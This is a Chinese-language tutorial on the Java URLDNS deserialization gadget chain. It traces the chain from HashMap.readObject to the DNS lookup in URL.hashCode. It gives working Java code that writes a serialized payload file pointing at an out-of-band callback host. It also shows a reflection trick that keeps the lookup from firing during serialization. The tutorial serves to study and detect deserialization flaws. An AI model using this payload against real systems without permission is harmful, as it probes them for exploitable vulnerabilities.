URLDNS链
简介
这是一条比较简单的利用链,本身不利用外部依赖,因此基本不受版本和环境的限制。但是这条利用链也只能做到发起DNS请求,因此常用于验证反序列化漏洞的存在与否。
源码分析
在任意类中敲一个URL,按住ctrl单击,进入URL类,在URL类中可以找到hashCode方法,当hashCode的值为-1时,进入handler下的hashCode方法,我们按住ctrl单击进入该方法。

在这个地方会通过getHostAddress发起DNS请求。

但是需要注意的是,hashCode的默认初始值为-1

再分析入口类hashmap,这个类重写了readObject方法,且参数类型宽泛,支持反序列化操作,是一个优秀的入口类。在readObject下的putVal中调用了hash方法,我们继续跟入hash方法。

当key不为空时调用hashCode,完成整条链的利用。但是在这个地方存在着一个疑问,在我们代码执行逻辑中调用的是URL下的hashCode方法,可是当我们ctrl+单击时进入的是Object下的hashCode,希望能够碰到大佬进行解答。

这时理论上我们只要创建一个HashMap,并且向其中传入一个url就可以完成代码。接下来编写代码进行实际测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import java.io.*; import java.net.URL; import java.util.HashMap;
public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { URL url = new URL("http://h4m6mmyf3qswqpzegyzic3i8rzxple.oastify.com"); HashMap<Object, Object> hashap = new HashMap<Object, Object>(); hashap.put(url, 333); Serialize(hashap); }
public static void Serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void unSerialize(File filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|
运行代码进行测试,将序列化和反序列化的过程分开,运行我们可以发现,实际情况下在序列化的过程中会直接发起请求,反序列化的过程中则不会发起请求,继续分析代码。(多次重复实验请注意更新DNS地址和删除ser.bin文件)


跟进hashmap.put我们会发现,当我们调用put的时候就已经调用hash方法发起DNS请求,因此在我们反序列化的过程中则不会再发起请求。因此我们需要在序列化的过程中避免发起请求,在前面我们已经知道可以通过hashCode的值来影响代码执行的流程,可是hashCode默认初始为-1,这就需要我们在上一节中提到的反射来进行修改,整个流程如下:
1 2 3 4 5
| URL url = new URL("http://dnslog"); HashMap<Object, Object> hashap = new HashMap<Object, Object>();
hashap.put(url, 333);
|
重新修改代码逻辑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { URL url = new URL("http://dnslog"); HashMap<Object, Object> hashap = new HashMap<Object, Object>(); Class clz = URL.class; Field hashcode = clz.getDeclaredField("hashCode"); hashcode.setAccessible(true); hashcode.set(url, 2); hashap.put(url, 333); hashcode.set(url, -1); Serialize(hashap); }
public static void Serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void unSerialize(File filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|
再进行测试,就成功完成了URLDNS链的利用。


利用链流程
这是URLDNS链的大致利用流程,至于后续的getByName不再继续跟入。

补充
最近在看ysoserial项目的URLDNS链中发现了一些不同,为了避免在序列化的过程中发起DNS请求,我们采用的方法是反射修改hashCode的值来干扰if判断,但是作者这里采用的是重写URLStreamHandler的方式,主要是重写openConnection和getHostAddress来避免在序列化的过程中产生DNS请求,至于为什么采用这种方式,没有想明白。
